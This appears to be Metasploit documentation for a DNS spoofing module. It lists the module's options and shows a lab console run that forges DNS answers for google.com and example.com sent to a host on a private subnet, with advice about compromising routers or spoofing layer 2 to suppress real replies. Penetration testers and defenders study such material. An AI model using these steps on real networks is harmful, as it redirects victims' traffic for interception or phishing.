documentation/modules/auxiliary/spoof/dns/native_spoofer.md
## Vulnerable Application
This module provides a Rex based DNS service to resolve queries intercepted via the capture mixin. Configure
STATIC_ENTRIES to contain host-name mappings desired for spoofing using a hostsfile or space/semicolon separated
entries. In the default configuration, the service operates as a normal native DNS server with the exception of
consuming from and writing to the wire as opposed to a listening socket. Best when compromising routers or spoofing L2
in order to prevent return of the real reply which causes a race condition. The method by which replies are filtered is
up to the user (though iptables works fine).
## Verification Steps
1. Start msfconsole
1. Do: `use auxiliary/spoof/dns/native_spoofer`
1. Do: `run`
## Options
### DISABLE_NS_CACHE
Disable DNS response caching.
### DISABLE_RESOLVER
Disable DNS request forwarding.
### FILTER
The filter string for capturing traffic. This allows the module to, for example, only process requests made from a
target host or subnet.
### INTERFACE
The name of the interface to listen on.
### NS
Specify the nameservers to use for queries, space separated.
### SEARCHLIST
DNS domain search list, comma separated.
### STATIC_ENTRIES
DNS domain search list (hosts file or space/semicolon separate entries). Example: `1.2.3.4 example.com`
## Scenarios
### DNS Spoofing
```
msf6 auxiliary(spoof/dns/native_spoofer) > show options
Module options (auxiliary/spoof/dns/native_spoofer):
Name Current Setting Required Description
---- --------------- -------- -----------
DISABLE_NS_CACHE false no Disable DNS response caching
DISABLE_RESOLVER false no Disable DNS request forwarding
DOMAIN no The target domain name
FILTER dst port 53 and host 192.168.250.134 no The filter string for capturing traffic
INTERFACE no The name of the interface
NS 192.168.250.4 no Specify the nameservers to use for queries, space separated
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RPORT 53 yes The target port (TCP)
SEARCHLIST no DNS domain search list, comma separated
SNAPLEN 65535 yes The number of bytes to capture
SRVHOST 192.168.250.160 yes The local host to listen on for DNS services.
SRVPORT 53 yes The local port to listen on.
STATIC_ENTRIES 1.2.3.4 example.com no DNS domain search list (hosts file or space/semicolon separate entries)
THREADS 1 yes Number of threads to use in threaded queries
TIMEOUT 500 yes The number of seconds to wait for new data
Auxiliary action:
Name Description
---- -----------
Service Serve DNS entries
msf6 auxiliary(spoof/dns/native_spoofer) > run
[*] Auxiliary module running as background job 2.
msf6 auxiliary(spoof/dns/native_spoofer) > SIOCSIFFLAGS: Operation not permitted
msf6 auxiliary(spoof/dns/native_spoofer) >
[*] Caching response google.com:172.217.15.110 A
[+] Sent packet with header:
--EthHeader-----------------------------------
eth_dst 50:eb:71:1a:59:8c PacketFu::EthMac
eth_src 36:a6:88:92:60:5b PacketFu::EthMac
eth_proto 0x0800 StructFu::Int16
--IPHeader------------------------------------
ip_v 4 Integer
ip_hl 5 Integer
ip_tos 0 StructFu::Int8
ip_len 144 StructFu::Int16
ip_id 0x403c StructFu::Int16
ip_frag 0 StructFu::Int16
ip_ttl 64 StructFu::Int8
ip_proto 17 StructFu::Int8
ip_sum 0xc3a8 StructFu::Int16
ip_src 192.168.250.160 PacketFu::Octets
ip_dst 192.168.250.134 PacketFu::Octets
--UDPHeader-----------------------------------
udp_src 53 StructFu::Int16
udp_dst 39435 StructFu::Int16
udp_len 124 StructFu::Int16
udp_sum 0xeefc StructFu::Int16
------------------------------------------------------------------
00-01-02-03-04-05-06-07-08-09-0a-0b-0c-0d-0e-0f---0123456789abcdef
------------------------------------------------------------------
10 4a 81 80 00 01 00 01 00 04 00 00 06 67 6f 6f .J...........goo
67 6c 65 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 gle.com.........
00 01 00 00 00 7a 00 04 ac d9 0f 6e c0 0c 00 02 .....z.....n....
00 01 00 00 40 b5 00 06 03 6e 73 32 c0 0c c0 0c ....@....ns2....
00 02 00 01 00 00 40 b5 00 06 03 6e 73 31 c0 0c ......@....ns1..
c0 0c 00 02 00 01 00 00 40 b5 00 06 03 6e 73 33 ........@....ns3
c0 0c c0 0c 00 02 00 01 00 00 40 b5 00 06 03 6e ..........@....n
73 34 c0 0c s4..
[+] Spoofed records for google.com to 192.168.250.134:39435
[+] Sent packet with header:
--EthHeader-----------------------------------
eth_dst 50:eb:71:1a:59:8c PacketFu::EthMac
eth_src 36:a6:88:92:60:5b PacketFu::EthMac
eth_proto 0x0800 StructFu::Int16
--IPHeader------------------------------------
ip_v 4 Integer
ip_hl 5 Integer
ip_tos 0 StructFu::Int8
ip_len 96 StructFu::Int16
ip_id 0x2ff2 StructFu::Int16
ip_frag 0 StructFu::Int16
ip_ttl 64 StructFu::Int8
ip_proto 17 StructFu::Int8
ip_sum 0xd422 StructFu::Int16
ip_src 192.168.250.160 PacketFu::Octets
ip_dst 192.168.250.134 PacketFu::Octets
--UDPHeader-----------------------------------
udp_src 53 StructFu::Int16
udp_dst 38058 StructFu::Int16
udp_len 76 StructFu::Int16
udp_sum 0x00ab StructFu::Int16
------------------------------------------------------------------
00-01-02-03-04-05-06-07-08-09-0a-0b-0c-0d-0e-0f---0123456789abcdef
------------------------------------------------------------------
33 c8 81 20 00 01 00 01 00 00 00 01 07 65 78 61 3.. .........exa
6d 70 6c 65 03 63 6f 6d 00 00 01 00 01 c0 0c 00 mple.com........
01 00 01 00 00 00 00 00 04 01 02 03 04 00 00 29 ...............)
10 00 00 00 00 00 00 0c 00 0a 00 08 6f 59 ce 04 ............oY..
8e 13 7b 7d ..{}
[+] Spoofed records for example.com to 192.168.250.134:38058
```